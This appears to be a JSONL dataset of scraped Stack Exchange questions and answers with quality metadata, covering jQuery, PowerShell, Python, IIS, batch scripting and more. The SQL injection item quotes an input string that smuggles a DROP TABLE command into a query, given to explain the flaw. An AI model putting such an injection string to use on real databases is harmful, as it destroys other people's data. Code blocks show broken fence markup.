{"id": "hf_2746156c77d1", "question": "<p>I thought jQuery Intellisense was supposed to be improved with SP1. I even downloaded an annotated version of jQuery 1.2.6, but intellisense will not work in a separate jscript file. I have the jQuery library referenced first on my web page in the &lt;head> tag. Am I doing anything wrong?</p>\n", "question_body": "", "answer": "At the top of your external JavaScript file, add the following:\n```\n```\n/// <reference path=\"jQuery.js\"/>\n```\n```\nMake sure the path is correct, relative to the file's position in the folder structure, etc.\nAlso, any references need to be at the top of the file, before\nany\nother text, including comments - literally, the very first thing in the file. Hopefully future version of Visual Studio will work regardless of where it is in the file, or maybe they will do something altogether different...\nOnce you have done that and\nsaved the file\n, hit\nCtrl\n+\nShift\n+\nJ\nto force Visual Studio to update Intellisense.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.106860"}
{"id": "hf_d70c3f2f4ae2", "question": "<p>I have been hearing the podcast blog for a while, I hope I dont break this. \nThe question is this: I have to insert an xml to a database. This will be for already defined tables and fields. So what is the best way to accomplish this? So far I am leaning toward programatic. I have been seeing varios options, one is Data Transfer Objects (DTO), in the SQL Server there is the sp_xml_preparedocument that is used to get transfer XMLs to an object and throught code. </p>\n\n<p>I am using CSharp and SQL Server 2005. The fields are not XML fields, they are the usual SQL datatypes. </p>\n", "question_body": "", "answer": "If your XML conforms to a particular XSD schema, you can look into using the \"xsd.exe\" command line tool to generate C# object classes that you can bind the XML to, and then form your insert statements using the properties of those objects:\nMSDN XSD Doc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.157376"}
{"id": "hf_9634ee7c421d", "question": "<p>I'm trying to get the <strong>GWTShell</strong> mode to load my <em>context.xml</em> file in which my database is described.</p>\n\n<p>The only usable info can be found <a href=\"http://gwt-maven.googlecode.com/svn/docs/maven-googlewebtoolkit-plugin/configure_tomcatlite.html\" rel=\"nofollow noreferrer\">here</a>, but this doesn't seem to work for the <em>context.xml</em> part.</p>\n", "question_body": "", "answer": "As of version 1.4, I have been running all my server side code, in my container of choice (Glassfish) and hooking up the GWTShell to that. Are you using Netbeans, Eclipse or something else? The Netbeans plugin gwt4nb does this for you out of the box, you just have to start your web project in debug mode. I'm sure the GWT plugin for Eclipse does the same thing.\nI realise this doesn't directly answer your question -> but my question is, is there a reason you're trying to get GWT to pick up your database settings and not just running your project as normal instead. I find this much better and robust way of running the GWTShell.\nEdit: Sorry I don't really use Eclipse, so I can't help you with plugins for it. I find Netbeans far superior for J2EE/web type projects. It's a bit slower, but far more functional. The plugin for that is called 'GWT4NB', it's free and it will set up your ant script in such a way that you just have to right-click on your web project and choose debug. I can understand if you don't want to switch IDEs though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.193903"}
{"id": "hf_5c426ec944b9", "question": "<p>I am getting the following error in an MS Access ADP when trying to add a record on a form linked to a MS SQL Server 2000 table:</p>\n\n<blockquote>\n  <p>Run-time error '31004':</p>\n  \n  <p>The value of an (AutoNumber) field\n  cannot be retrived prior to being\n  saved.</p>\n  \n  <p>Please save the record that contains\n  the (AutoNumber) field prior to\n  performing this action.\n  note: <em>retrieved</em> is actually spelled wrong in the error.</p>\n</blockquote>\n\n<p>Does anyone know what this means?</p>\n\n<p>I've done a web search and was only able to find the answer at a certain site that only experts have access to.</p>\n", "question_body": "", "answer": "Are you trying to assign the value of an Identity field to a variable or something else before you have saved the record?\nFor whatever reason, your app is trying to read the value of the identity field before the record has been saved, which is what generates that identity field.  In other words, no value exists for the Autonumber field until the row is saved.\nI think we'd need to see more code or know more about the steps that lead up to this error to resolve it in more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.217746"}
{"id": "hf_90e64888c8c5", "question": "<p>I would like to be able to define and use a custom type in some of my PowerShell scripts. For example, let's pretend I had a need for an object that had the following structure:</p>\n\n<pre><code>Contact\n{\n    string First\n    string Last\n    string Phone\n}\n</code></pre>\n\n<p>How would I go about creating this so that I could use it in function like the following:</p>\n\n<pre><code>function PrintContact\n{\n    param( [Contact]$contact )\n    \"Customer Name is \" + $contact.First + \" \" + $contact.Last\n    \"Customer Phone is \" + $contact.Phone \n}\n</code></pre>\n\n<p>Is something like this possible, or even recommended in PowerShell?</p>\n", "question_body": "", "answer": "There is the concept of PSObject and Add-Member that you could use.\n```\n```\n$contact = New-Object PSObject\n\n$contact | Add-Member -memberType NoteProperty -name \"First\" -value \"John\"\n$contact | Add-Member -memberType NoteProperty -name \"Last\" -value \"Doe\"\n$contact | Add-Member -memberType NoteProperty -name \"Phone\" -value \"123-4567\"\n```\n```\nThis outputs like:\n```\n```\n[8] » $contact\n\nFirst                                       Last                                       Phone\n-----                                       ----                                       -----\nJohn                                        Doe                                        123-4567\n```\n```\nThe other alternative (that I'm aware of) is to define a type in C#/VB.NET and load that assembly into PowerShell for use directly.\nThis behavior is definitely encouraged because it allows other scripts or sections of your script work with an actual object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.253917"}
{"id": "hf_71da38b9e1d5", "question": "<p>Suppose the following:</p>\n\n<pre><code>&gt;&gt;&gt; s = set([1, 2, 3])\n</code></pre>\n\n<p>How do I get a value (any value) out of <code>s</code> without doing <code>s.pop()</code>? I want to leave the item in the set until I am sure I can remove it - something I can only be sure of after an asynchronous call to another host.</p>\n\n<p>Quick and dirty:</p>\n\n<pre><code>&gt;&gt;&gt; elem = s.pop()\n&gt;&gt;&gt; s.add(elem)\n</code></pre>\n\n<p>But do you know of a better way? Ideally in constant time.</p>\n", "question_body": "", "answer": "Two options that don't require copying the whole set:\n```\n```\nfor e in s:\n    break\n# e is now an element from s\n```\n```\nOr...\n```\n```\ne = next(iter(s))\n```\n```\nBut in general, sets don't support indexing or slicing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.278326"}
{"id": "hf_bac7bc0e814b", "question": "<p>I have a page that uses </p>\n\n<pre><code>$(id).show(\"highlight\", {}, 2000);\n</code></pre>\n\n<p>to highlight an element when I start a ajax request, that might fail so that I want to use something like</p>\n\n<pre><code>$(id).show(\"highlight\", {color: \"#FF0000\"}, 2000);\n</code></pre>\n\n<p>in the error handler. The problem is that if the first highlight haven't finished, the second is placed in a queue and wont run until the first is ready. Hence the question: Can I somehow stop the first effect?</p>\n", "question_body": "", "answer": "From the jQuery docs:\nhttp://docs.jquery.com/Effects/stop\nStop the currently-running animation on the matched elements.\n...\nWhen\n```\n.stop()\n```\nis called on an element, the currently-running animation (if any) is immediately stopped. If, for instance, an element is being hidden with\n```\n.slideUp()\n```\nwhen\n```\n.stop()\n```\nis called, the element will now still be displayed, but will be a fraction of its previous height. Callback functions are not called.\nIf more than one animation method is called on the same element, the later animations are placed in the effects queue for the element. These animations will not begin until the first one completes. When\n```\n.stop()\n```\nis called, the next animation in the queue begins immediately. If the\n```\nclearQueue\n```\nparameter is provided with a value of\n```\ntrue\n```\n, then the rest of the animations in the queue are removed and never run.\nIf the\n```\njumpToEnd\n```\nargument is provided with a value of true, the current animation stops, but the element is immediately given its target values for each CSS property. In our above\n```\n.slideUp()\n```\nexample, the element would be immediately hidden. The callback function is then immediately called, if provided...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.445105"}
{"id": "hf_d72732cf649e", "question": "<p>I am working on an application for college music majors. A feature i am considering is slowing down music playback without changing its pitch. I have seen this done in commercial software, but cannot find any libraries or open source apps that do anything like this.  </p>\n\n<ol>\n<li>Are there libraries out there?</li>\n<li>How could this be done from scratch from various file formats?</li>\n</ol>\n\n<p>Note: I am working in java but am not oppossed to changing languages. </p>\n", "question_body": "", "answer": "Timestretching is quite hard. The more you slow down or speed up the sound the more artifacts you get. If you want to know what they sound like listen to \"The Rockafeller Skank\" by Fat Boy Slim. There are a lot of ways to do it that all have their own strengths and weaknesses. The math can get really complex. That's why there are so many proprietary algorithms.\nThis page explains things a bit clearer than I can and links to the Dirac library.\nhttp://www.dspdimension.com/admin/time-pitch-overview/\nI found this link for java code to do pitch shifting/timestretching\nhttp://www.adetorres.com/keychanger/KeyChangerReadme.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.493528"}
{"id": "hf_aba60bceee38", "question": "<p>I started a project a long time ago and created a <strong>Data Access Layer</strong> project in my solution but have never developed anything in it.  What is the purpose of a data access layer?  Are there any good sources that I could learn more about the Data Access Layer?</p>\n", "question_body": "", "answer": "I recommend you read up here:\nhttp://msdn.microsoft.com/en-us/practices/default.aspx\nUsing a DAL will help you isolate your data access from your presentation and business logic. I use it a lot so that I can easily swap out (through reflection and dynamically loading assemblies) data providers.\nRead up, lots of good info there.\nAlso, look into the\nData Access Block\nif you are planning on using .NET. It can be a big help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.517166"}
{"id": "hf_5f700ff20d92", "question": "<p>We can successfully consume a .NET 2.0 web service from a Flex/AS3 application. Aside from SSL, how else can we make the security more robust (i.e., authentication)?</p>\n", "question_body": "", "answer": "If you're talking about\nsecuring the information\ngoing over the wire, you can use Web Service Extensions (WSE) to encrypt the body of the soap message so that you don't have to secure the channel. This way the message can get passed around from more than one endpoint (ie. it can get forwarded) and you don't need multiple https certs.\nIf you're talking abut\nautentication\nthen you could do forms auth with either a password in the body or in the soap headers (once again either encrypt the body or the channel). Or one of the easiest ways to secure a webservice (if it's an internal set of services) is have IIS do it, turn on NTLM and do authentication there. You can do authorization later on in the pipeline with an HTTPModule that checks peoples credential against the code they're trying to call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.543382"}
{"id": "hf_45c420d4f350", "question": "<p>I'm working on a simple ASP.Net page (handler, actually) where I check the value of the LOGON_USER server variable.  This works using Visual Studio's built-in web server and it works in other sites deployed to the live intranet site.  But it doesn't work on the IIS instance on my local XP machine.  How can I fix it, or what's going on if I can't?</p>\n", "question_body": "", "answer": "What authentication do you have enabled in IIS?  Anonmyous, Basic, Digest, Integrated Windows?  Sounds to me like anonymous access is enabled/allowed, and nothing else.  This would means that LOGON_USER is not populated.\nWhen you access your local IIS, trying using\nhttp://127.0.0.1\nin particular if you use IE.  IE will recognize \"localhost\" as being in your local trusted zone and will automatically pass your XP login credentials through when Integrated Windows auth is enabled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.567491"}
{"id": "hf_b072ba71a71f", "question": "<p>I've been playing with RSS feeds this week, and for my next trick I want to build one for our internal application log.  We have a centralized database table that our myriad batch and intranet apps use for posting log messages.  I want to create an RSS feed off of this table, but I'm not sure how to handle the volume- there could be hundreds of entries per day even on a normal day.  An exceptional make-you-want-to-quit kind of day might see a few thousand.  Any thoughts?</p>\n", "question_body": "", "answer": "Without knowing your application, I can't offer specific advice.\nThat said, it's common in these sorts of systems to have a level of severity. You could have a query string parameter that you tack on to the end of the URL that specifies the severity. If set to \"DEBUG\" you would see every event, no matter how trivial. If you set it to \"FATAL\" you'd only see the events that that were \"System Failure\" in magnitude.\nIf there are still too many events, you may want to sub-divide your events in to some sort of category system. Again, I would have this as a query string parameter.\nYou can then have multiple RSS feeds for the various categories and severities. This should allow you to tune the level of alerts you get an acceptable level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.646510"}
{"id": "hf_db2679ab8982", "question": "<p>I am wanting to use ActiveScaffold to create <em>assignment</em> records for several <em>students</em> in a single step.  The records will all contain identical data, with the exception of the student_id.</p>\n\n<p>I was able to override the default form and replace the dropdown box for selecting the student name with a multi-select box - which is what I want.  That change however, was only cosmetic, as the underlying code only grabs the first selected name from that box, and creates a single record.</p>\n\n<p>Can somebody suggest a good way to accomplish this in a way that doesn't require my deciphering and rewriting too much of the underlying ActiveScaffold code?</p>\n\n<hr>\n\n<p>Update: I still haven't found a good answer to this problem.</p>\n", "question_body": "", "answer": "if your assingnments have\n```\nhas_many :students\n```\nor\n```\nhas_and_belongs_to_many :students\n```\n, then you can change the id of the multi-select box to assignment_student_ids[], and it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.670955"}
{"id": "hf_3ea6700bc1ad", "question": "<p>In Firefox you can enter the following into the awesome bar and hit enter:</p>\n\n<pre><code>javascript:self.resizeTo(1024,768);\n</code></pre>\n\n<p>How do you do the same thing in IE?</p>\n", "question_body": "", "answer": "Try:\n```\n```\njavascript:resizeTo(1024,768);\n```\n```\nThis works in IE7 at least.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.695194"}
{"id": "hf_f9656447cec0", "question": "<p>I am writing a batch file script using Windows command-line environment and want to change each occurrence of some text in a file (ex. \"FOO\") with another (ex. \"BAR\"). What is the simplest way to do that? Any built in functions?</p>\n", "question_body": "", "answer": "I don't think there's a way to do it with any built-in commands. I would suggest you download something like\nGnuwin32\nor\nUnxUtils\nand use the\n```\nsed\n```\ncommand (or download only\n```\nsed\n```\n):\n```\n```\nsed -c s/FOO/BAR/g filename\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.745029"}
{"id": "hf_bba4814f00fc", "question": "<p>I am currently working on (or at least planning) a couple of projects that work with large amounts of repetitive data. The kind of data that works well in a spreadsheet or database, but is nasty in XML. :)</p>\n\n<p>NetCDF seems like a great option for a file format. However, my work is in C# and there is no \"official\" NetCDF implementation available. There is an \"official\" Python version that I could potentially use with IronPython. Another option is the \"NetCDF Library for .Net\" on CodePlex but it seems pretty quiet (<a href=\"http://www.codeplex.com/netcdf\" rel=\"noreferrer\">http://www.codeplex.com/netcdf</a>).</p>\n\n<p>Has anyone worked with either of these libraries? Can you provide any recommendations?</p>\n", "question_body": "", "answer": "First, are you sure that NetCDF is the right choice?  If you want to interact with other programs that need to read in large amounts of data and they already support NetCDF, then it's probably a great choice.  There aren't that many standard and well-supported file formats that support large multidimensional arrays.  But if you're only going to be reading and writing files from C#, it may not be such a good choice.\nI'm a big fan of the \"classic\" NetCDF file format.  It's compact and extremely simple, but flexible enough to support lots of common kinds of multidimensional well-structured data.  It only took me one day to write a complete parser for classic NetCDF, and it only took an hour to write a program to output a well-formed special case of a classic NetCDF file.  You could implement a pure C# NetCDF library yourself and it wouldn't be much trouble.  You could easily start by implementing only the features you need.\nHere's the specification.\nUnfortunately, NetCDF-4 chose to use HDF-5 as its data format.  It adds a lot of complexity and makes it much more difficult to write a complete NetCDF parser in another language.  HDF-5 is very general-purpose and in my opinion, it was overengineered - it tries to be too many things to too many people.  I would not recommend trying to work with it directly unless you plan to spend a month writing unit tests.  If you must use netCDF-4 / HDF-5 from C#, your only realistic option would be to wrap the C library using SWIG or something like that.\nNote that NetCDF for Python is just a wrapper around the C code, so it's not really all that helpful; if you're going to use a wrapped C library you may as well just write a C# wrapper rather than use Python as a middle layer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.769053"}
{"id": "hf_b1b2ec022962", "question": "<p>I wrote a simple web service in C# using SharpDevelop (which I just got and I love).</p>\n\n<p>The client wanted it in VB, and fortunately there's a Convert To VB.NET feature.  It's great.  Translated all the code, and it builds.  (I've been a \"Notepad\" guy for a long time, so I may seem a little old-fashioned.)</p>\n\n<p>But I get this error when I try to load the service now.</p>\n\n<pre>\nParser Error Message: Could not load type 'flightinfo.Soap' from assembly 'flightinfo'.\n\nSource Error:\n\nLine 1:  &lt;%@ WebService Class=\"flightinfo.Soap,flightinfo\" %&gt;\n</pre>\n\n<p>I have deleted the bins and rebuilt, and I have searched google (and stackoverflow).  I have scoured the project files for any remnants of C#.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "```\n```\n<%@ WebService Class=\"flightinfo.Soap,flightinfo\" %>\n```\n```\nWhat is the name of your class?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.854915"}
{"id": "hf_c71dd6a9c3b4", "question": "<p>What is a good challenge to improve your skills in object oriented programming?</p>\n\n<p>The idea behind this poll is to provide an idea of which exercises are useful for learning OOP.</p>\n\n<p>The challenge should be as language agnostic as possible, requiring either little or no use of specific libraries, or only the most common of libraries. Try to include only one challenge per answer, so that a vote will correspond to the merits of that challenge alone. Would also be nice if a level of skill required was indicated, and also the rationale behind why it is a useful exercise.</p>\n\n<p>Solutions to the challenges could then be posted as answers to a \"How to...\" question and linked to from here.</p>\n\n<p>For example:</p>\n\n<ul>\n<li>Challenge - implement a last-in-first-out stack</li>\n<li>Skill level - beginner</li>\n<li>Rationale - gives experience of how to reference objects</li>\n</ul>\n", "question_body": "", "answer": "Certainly a good challenge, although less accessible than a \"start from scratch\" assignment, is to refactor some existing code that either doesn't use inheritance or doesn't use very much of it to make greater use of inheritance.  The process of refactoring will expose a lot of the benefits and gotchas of oop, as it certainly has for me on my most recent project.  It also pushed me to understand the concepts better than past projects have where I've created my own object oriented designs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.892349"}
{"id": "hf_7d0a4329c3c9", "question": "<p>Is there a way to access Visual Studio's built-in ASP.NET Development Server over HTTPS?</p>\n", "question_body": "", "answer": "Cassini does not support HTTPS.\nHowever, you can use IIS to do this, if your using IIS 5.1, download the MS IIS toolpack for IIS 6.0, it comes with a tool to create self signed SSL certificates. This works on IIS 5.1\nhttp://www.microsoft.com/downloads/details.aspx?FamilyID=56fc92ee-a71a-4c73-b628-ade629c89499&DisplayLang=en\nThe one tool you need (SelfSSL.exe) works just fine with IIS 5.1. Unfortunately, it comes bundled with a bunch of other stuff.\nSteps:\nInstall the IIS Tools File. If you want, you can click Custom and tell it to only install SelfSSL.\nActivate the site in IIS that you want to install a SSL certificate too.\nGo to Start / Programs / IIS Resources / SelfSSL\nThis will launch a command prompt in the SelfSSL directory.\nUsing the provided help, run SelfSSL. The command I used was: selfssl.exe /N:cn=[MACHINENAME] /K:1024 /V:90 \n/S:5 /P:443\nThe /S switch indicates which site to install the certificate. You can figure out the number by looking at your sites in IIS and counting (Starting at 1 for the first site, not 0), to the site you want.\nOnce this has ran, browse to your localhost over HTTPS\nYou should receive an error message stating that this certificate is from a untrusted source. You can either add your machinename to the browsers “Trusted Authorities” list, or you can tell the browser to ignore this.\nAt this point, you will be able to run your localhost over HTTPS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.917173"}
{"id": "hf_46edb1803e28", "question": "<p>Silverlight v2.0 is getting closer and closer to RTM but I have yet to hear any stats as to how many browsers are running Silverlight. If I ask Adobe (by googling \"Flash install base\") they're <a href=\"http://www.adobe.com/products/player_census/flashplayer/version_penetration.html\" rel=\"nofollow noreferrer\">only too happy to tell me</a> that 97.7% of browsers are running Flash player 9 or better.</p>\n\n<p>Not that I believe everything I read, but <strong>where are these statistics from Microsoft or some other vendor about Silverlight?</strong> I'm going to be making a technology choice soon and a little bit of empirical evidence would be an asset at this point...</p>\n\n<p>All you Silverlight developers out there, show me your stats!</p>\n", "question_body": "", "answer": "If you are developing something for a general audience, I would highly recommend against Silverlight as you immediately cut out Linux users.\nI went to watch videos for the Olympics (and I run exclusively Linux), and I couldn't watch the video on their site because they were in Silverlight.  On top of that, they actively removed all videos from YouTube, so I had no alternative but to try and scrounge up a Windows boot.  This only served to give me a very negative opinion of NBC, and consider them quite amateurish to pick such a restricting technology for something that should be available for everyone.\nWhile Flash has it's problems, it works fine in Linux, so I would say (at this point), it is a much superior technology choice.\nIf you KNOW your audience is entirely on Windows (maybe Mac).... then you can consider Silverlight with knowing you won't be cutting out part of your audience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.942000"}
{"id": "hf_6cef1fc68b3f", "question": "<p>How much traffic can one web server handle? What's the best way to see if we're beyond that?</p>\n\n<p>I have an ASP.Net application that has a couple hundred users. Aspects of it are fairly processor intensive, but thus far we have done fine with only one server to run both SqlServer and the site. It's running Windows Server 2003, 3.4 GHz with 3.5 GB of RAM. </p>\n\n<p>But lately I've started to notice slows at various times, and I was wondering what's the best way to determine if the server is overloaded by the usage of the application or if I need to do something to fix the application (I don't really want to spend a lot of time hunting down little optimizations if I'm just expecting too much from the box).</p>\n", "question_body": "", "answer": "What you need is some info on\nCapacity Planning\n..\nCapacity planning is the process of planning for growth and forecasting peak usage periods in order to meet system and application capacity requirements. It involves extensive performance testing to establish the application's resource utilization and transaction throughput under load. First, you measure the number of visitors the site currently receives and how much demand each user places on the server, and then you calculate the computing resources (CPU, RAM, disk space, and network bandwidth) that are necessary to support current and future usage levels.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:10.977269"}
{"id": "hf_fb975bf49d75", "question": "<p>Does Java have a built-in way to escape arbitrary text so that it can be included in a regular expression? For example, if my users enter \"$5\", I'd like to match that exactly rather than a \"5\" after the end of input.</p>\n", "question_body": "", "answer": "Since\nJava 1.5, yes\n:\n```\n```\nPattern.quote(\"$5\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.025341"}
{"id": "hf_1bf3eeabaf0a", "question": "<p>If user input is inserted without modification into an SQL query, then the application becomes vulnerable to <a href=\"https://stackoverflow.com/a/332367/\">SQL injection</a>, like in the following example:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$unsafe_variable = $_POST['user_input']; \n\nmysql_query(\"INSERT INTO `table` (`column`) VALUES ('$unsafe_variable')\");\n</code></pre>\n\n<p>That's because the user can input something like <code>value'); DROP TABLE table;--</code>, and the query becomes:</p>\n\n<pre><code>INSERT INTO `table` (`column`) VALUES('value'); DROP TABLE table;--')\n</code></pre>\n\n<p>What can be done to prevent this from happening?</p>\n", "question_body": "", "answer": "I'd recommend using\nPDO\n(PHP Data Objects) to run parameterized SQL queries.\nNot only does this protect against SQL injection, but it also speeds up queries.\nAnd by using PDO rather than\n```\nmysql_\n```\n,\n```\nmysqli_\n```\n, and\n```\npgsql_\n```\nfunctions, you make your application a little more abstracted from the database, in the rare occurrence that you have to switch database providers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.061464"}
{"id": "hf_fb01f64b9027", "question": "<p>I want to write a function in Python that returns different fixed values based on the value of an input index.  </p>\n\n<p>In other languages I would use a <code>switch</code> or <code>case</code> statement, but Python does not appear to have a <code>switch</code> statement.  What are the recommended Python solutions in this scenario?</p>\n", "question_body": "", "answer": "The original answer below was written in 2008. Since then, Python 3.10 (2021) introduced the\n```\nmatch\n```\n-\n```\ncase\n```\nstatement which provides a first-class implementation of a \"switch\" for Python. For example:\n```\n```\ndef f(x):\n    match x:\n        case 'a':\n            return 1\n        case 'b':\n            return 2\n        case _:\n            return 0   # 0 is the default case if x is not found\n```\n```\nThe\n```\nmatch\n```\n-\n```\ncase\n```\nstatement is considerably more powerful than this simple example.\nYou could use a dictionary:\n```\n```\ndef f(x):\n    return {\n        'a': 1,\n        'b': 2,\n    }[x]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.110123"}
{"id": "hf_a2c6f6c7e3c1", "question": "<p>I have always wondered how people update a previous line in a command line. a great example of this is when using the wget command in linux. It creates an ASCII loading bar of sorts that looks like this:</p>\n\n<blockquote>\n  <p>[======>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] 37%</p>\n</blockquote>\n\n<p>and of course the loading bar moves and the percent changes, But it doesn't make a new line. I cannot figure out how to do this. Can someone point me in the right direction?</p>\n", "question_body": "", "answer": "There are two ways I know of to do this:\nUse the backspace escape character ('\\b') to erase your line\nUse the\n```\ncurses\n```\npackage, if your programming language of choice has bindings for it.\nAnd a Google revealed\nANSI Escape Codes\n, which appear to be a good way. For reference, here is a function in C++ to do this:\n```\n```\nvoid DrawProgressBar(int len, double percent) {\n  cout << \"\\x1B[2K\"; // Erase the entire current line.\n  cout << \"\\x1B[0E\"; // Move to the beginning of the current line.\n  string progress;\n  for (int i = 0; i < len; ++i) {\n    if (i < static_cast<int>(len * percent)) {\n      progress += \"=\";\n    } else {\n      progress += \" \";\n    }\n  }\n  cout << \"[\" << progress << \"] \" << (static_cast<int>(100 * percent)) << \"%\";\n  flush(cout); // Required.\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.150206"}
{"id": "hf_6b541035b77b", "question": "<p>I need to join two binary files with a <code>*.bat</code> script on Windows.</p>\n\n<p>How can I achieve that?</p>\n", "question_body": "", "answer": "You can use\n```\ncopy /b\n```\nlike this:\n```\n```\ncopy /b file1+file2 destfile\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:11.175049"}
